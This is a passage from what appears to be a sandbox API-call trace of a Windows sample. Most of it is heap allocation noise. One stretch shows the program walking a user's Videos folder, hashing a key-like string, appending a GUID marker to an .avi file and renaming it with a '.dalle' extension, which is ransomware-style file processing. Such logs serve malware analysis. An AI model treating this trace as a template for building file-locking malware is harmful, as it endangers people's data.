(HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.874] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.874] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.875] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.875] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.876] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.876] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.877] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.877] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.878] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.878] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.878] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.878] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.878] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0121.878] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\zr0w9NBOX\\") returned="zr0w9NBOX\\" [0121.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\") returned="jDCuGCvpf1uArI\\" [0121.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.878] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.878] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.878] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0121.878] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.878] PathFindFileNameW (pszPath="") returned="" [0121.878] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\zr0w9NBOX\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4eb7c3f0, ftCreationTime.dwHighDateTime=0x1d4cd79, ftLastAccessTime.dwLowDateTime=0x3315b190, ftLastAccessTime.dwHighDateTime=0x1d4d457, ftLastWriteTime.dwLowDateTime=0x3315b190, ftLastWriteTime.dwHighDateTime=0x1d4d457, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0121.879] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.879] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4eb7c3f0, ftCreationTime.dwHighDateTime=0x1d4cd79, ftLastAccessTime.dwLowDateTime=0x3315b190, ftLastAccessTime.dwHighDateTime=0x1d4d457, ftLastWriteTime.dwLowDateTime=0x3315b190, ftLastWriteTime.dwHighDateTime=0x1d4d457, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.879] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18f15bf0, ftCreationTime.dwHighDateTime=0x1d4d229, ftLastAccessTime.dwLowDateTime=0xe316c720, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0xe316c720, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uHy6bk3SudEl.avi", cAlternateFileName="UHY6BK~1.AVI")) returned 1 [0121.879] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\zr0w9NBOX\\uHy6bk3SudEl.avi") returned=".avi" [0121.879] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\zr0w9NBOX\\uHy6bk3SudEl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\zr0w9nbox\\uhy6bk3sudel.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0121.879] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=24377) returned 1 [0121.879] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0121.881] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f13, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.881] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0121.882] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x5f39, lpOverlapped=0x0) returned 1 [0121.883] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.883] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.883] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0121.883] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0121.884] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0121.884] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0121.884] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0121.884] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0121.884] GetLastError () returned 0x0 [0121.884] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0121.884] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0121.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0121.884] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f39, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.885] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.885] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.885] CloseHandle (hObject=0x618) returned 1 [0121.886] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\zr0w9NBOX\\uHy6bk3SudEl.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\zr0w9nbox\\uhy6bk3sudel.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\jDCuGCvpf1uArI\\zr0w9NBOX\\uHy6bk3SudEl.avi.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jdcugcvpf1uari\\zr0w9nbox\\uhy6bk3sudel.avi.dalle")) returned 1 [0121.886] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3093b88 | out: hHeap=0x5e0000) returned 1 [0121.886] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.887] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18f15bf0, ftCreationTime.dwHighDateTime=0x1d4d229, ftLastAccessTime.dwLowDateTime=0xe316c720, ftLastAccessTime.dwHighDateTime=0x1d4ccfd, ftLastWriteTime.dwLowDateTime=0xe316c720, ftLastWriteTime.dwHighDateTime=0x1d4ccfd, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uHy6bk3SudEl.avi", cAlternateFileName="UHY6BK~1.AVI")) returned 0 [0121.887] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0121.887] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30183f8 | out: hHeap=0x5e0000) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30187b8 | out: hHeap=0x5e0000) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0121.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6daea8 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7b670 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fccbb0 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0e30 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0e30 [0121.888] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.888] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.888] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.889] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0170 | out: hHeap=0x5e0000) returned 1 [0121.889] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0170 [0121.889] RtlAllocateHeap 